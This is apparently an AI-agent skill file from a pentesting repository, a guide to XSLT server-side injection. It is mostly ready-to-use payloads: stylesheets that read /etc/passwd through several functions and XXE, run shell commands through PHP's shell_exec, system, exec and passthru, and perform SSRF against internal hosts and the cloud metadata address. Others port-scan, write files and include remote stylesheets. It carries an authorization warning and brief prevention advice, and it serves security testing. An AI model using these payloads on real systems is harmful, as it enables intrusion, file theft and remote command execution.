Hacktricks-skills xslt-injection-pentest
XSLT Server-Side Injection (SSI) pentesting skill. Use this whenever the user needs to test for XSLT injection vulnerabilities, fingerprint XSLT processors, read files via XSLT, perform SSRF through XSLT, or execute code through XSLT transformations. Trigger on mentions of XSLT, stylesheet injection, XML transformation vulnerabilities, or when analyzing applications that process XSL files.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations/SKILL.MDXSLT Server-Side Injection (SSI) Pentesting
A comprehensive guide for testing XSLT injection vulnerabilities in web applications. This skill covers fingerprinting, file operations, SSRF, and code execution techniques.
⚠️ Authorization Required
Only use these techniques on systems you have explicit authorization to test. Unauthorized access is illegal.
Understanding XSLT Injection
XSLT (Extensible Stylesheet Language Transformations) is used to transform XML documents. When XSLT stylesheets are processed server-side and user input can influence the stylesheet content, injection vulnerabilities may exist.
Common XSLT Processors
- Libxslt (Gnome)
- Xalan (Apache)
- Saxon (Saxonica)
Vulnerability Prerequisites
- XSLT tags must be stored/processed server-side
- User input must be able to influence the XSLT content
- The application must process the XSLT transformation
Fingerprinting XSLT Processors
Identify the XSLT processor and version to determine available attack vectors.
Basic Fingerprint Payload
<?xml version="1.0" encoding="ISO-8859-1"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> Version: <xsl:value-of select="system-property('xsl:version')" /><br /> Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br /> Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br /> <xsl:if test="system-property('xsl:product-name')"> Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br /> </xsl:if> <xsl:if test="system-property('xsl:product-version')"> Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br /> </xsl:if> <xsl:if test="system-property('xsl:is-schema-aware')"> Is Schema Aware: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br /> </xsl:if> <xsl:if test="system-property('xsl:supports-serialization')"> Supports Serialization: <xsl:value-of select="system-property('xsl:supports-serialization')" /><br /> </xsl:if> <xsl:if test="system-property('xsl:supports-backwards-compatibility')"> Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supports-backwards-compatibility')" /><br /> </xsl:if> </xsl:template> </xsl:stylesheet>
Version-Specific Features
- XSLT 1.0: Basic transformation, limited functions
- XSLT 2.0: Added
,unparsed-text()
,unparsed-text-line()unparsed-text-available() - XSLT 3.0: Additional file I/O capabilities
File Reading Techniques
Method 1: unparsed-text() (XSLT 2.0+)
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:template match="/"> <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/> </xsl:template> </xsl:stylesheet>
Method 2: document() Function
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('/etc/passwd')"/> </xsl:template> </xsl:stylesheet>
Method 3: XXE Entity Injection
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtd_sample[ <!ENTITY ext_file SYSTEM "/etc/passwd"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> &ext_file; </xsl:template> </xsl:stylesheet>
Method 4: PHP Function Integration
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:template match="/"> <xsl:value-of select="php:function('file_get_contents','/path/to/file')"/> </xsl:template> </xsl:stylesheet>
Method 5: Directory Listing (PHP)
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:template match="/"> <xsl:value-of select="php:function('opendir','/path/to/dir')"/> <xsl:value-of select="php:function('readdir')"/> - <xsl:value-of select="php:function('readdir')"/> - <xsl:value-of select="php:function('readdir')"/> - <xsl:value-of select="php:function('readdir')"/> - <xsl:value-of select="php:function('readdir')"/> - </xsl:template> </xsl:stylesheet>
Server-Side Request Forgery (SSRF)
Basic SSRF via xsl:include
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:include href="http://127.0.0.1:8000/xslt"/> <xsl:template match="/"> </xsl:template> </xsl:stylesheet>
SSRF via document()
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('http://internal-server:8080/admin')"/> </xsl:template> </xsl:stylesheet>
Port Scanning
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:template match="/"> <xsl:value-of select="document('http://target:22')"/> <xsl:value-of select="document('http://target:80')"/> <xsl:value-of select="document('http://target:443')"/> </xsl:template> </xsl:stylesheet>
Code Execution
PHP shell_exec
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:template match="/"> <xsl:value-of select="php:function('shell_exec','whoami')" /> </xsl:template> </xsl:stylesheet>
PHP system()
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:template match="/"> <xsl:value-of select="php:function('system','id')" /> </xsl:template> </xsl:stylesheet>
PHP exec()
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:template match="/"> <xsl:value-of select="php:function('exec','cat /etc/passwd')" /> </xsl:template> </xsl:stylesheet>
PHP passthru()
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:template match="/"> <xsl:value-of select="php:function('passthru','ls -la')" /> </xsl:template> </xsl:stylesheet>
PHP assert() with var_dump
<?xml version="1.0" encoding="UTF-8"?> <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE"> <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))')" /> <br /> </body> </html>
Access PHP Static Class Methods
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0"> <xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" /> <xsl:template match="root"> <html> <xsl:value-of select="php:function('ClassName::staticMethod','parameter')" /> </html> </xsl:template> </xsl:stylesheet>
File Writing
XSLT 2.0 result-document
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <xsl:template match="/"> <xsl:result-document href="local_file.txt"> <xsl:text>Write Local File</xsl:text> </xsl:result-document> </xsl:template> </xsl:stylesheet>
Xalan-J Extension
<xsl:template match="/"> <redirect:open file="local_file.txt"/> <redirect:write file="local_file.txt">Write Local File</redirect:write> <redirect:close file="local_file.txt"/> </xsl:template>
External XSLT Inclusion
Via xsl:include
<xsl:include href="http://external.web/external.xsl"/>
Via xml-stylesheet Processing Instruction
<?xml version="1.0" ?> <?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
JavaScript Injection
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <script>confirm("XSLT Injection Detected");</script> </xsl:template> </xsl:stylesheet>
Testing Workflow
Step 1: Identify Injection Point
Look for:
- File upload endpoints accepting
files.xsl - Parameters that control stylesheet selection
- XML processing with external stylesheet references
- APIs that transform XML with user-controlled stylesheets
Step 2: Fingerprint the Processor
Use the fingerprint payload to identify:
- XSLT version (1.0, 2.0, 3.0)
- Vendor (Saxon, Xalan, Libxslt)
- Available features and functions
Step 3: Test File Reading
Try each file reading method based on the processor capabilities:
- XSLT 2.0+:
unparsed-text() - All versions:
document() - PHP-enabled:
php:function() - XXE-enabled: Entity injection
Step 4: Test SSRF
Attempt to access:
- Internal network resources
- Cloud metadata endpoints (
)169.254.169.254 - Local services (
)127.0.0.1
Step 5: Test Code Execution
If PHP functions are available, test command execution:
shell_exec()system()exec()passthru()
Detection and Prevention
Detection Signs
- Unexpected output from XML transformations
- Error messages revealing XSLT processor details
- Ability to read files through XML processing
- SSRF indicators in transformation output
Prevention Measures
- Disable external stylesheet processing when not needed
- Validate and sanitize all XSLT input
- Use allowlists for permitted XSLT functions
- Disable PHP function integration in XSLT processors
- Run transformations in sandboxed environments
- Apply principle of least privilege to transformation processes
Additional Resources
Payload Collections
Documentation
Research Papers
- Abusing XSLT for Practical Attacks - IO Active
- Abusing XSLT for Practical Attacks - Blackhat 2015
- XSLT SSRF Research
Quick Reference
| Technique | XSLT Version | PHP Required | Notes |
|---|---|---|---|
| 2.0+ | No | Direct file read |
| 1.0+ | No | File/URL read |
| 1.0+ | Yes | Full PHP access |
| XXE Entities | 1.0+ | No | Requires DTD support |
| 1.0+ | No | External stylesheet |
| 2.0+ | No | File write |
| 1.0+ | No | Fingerprinting |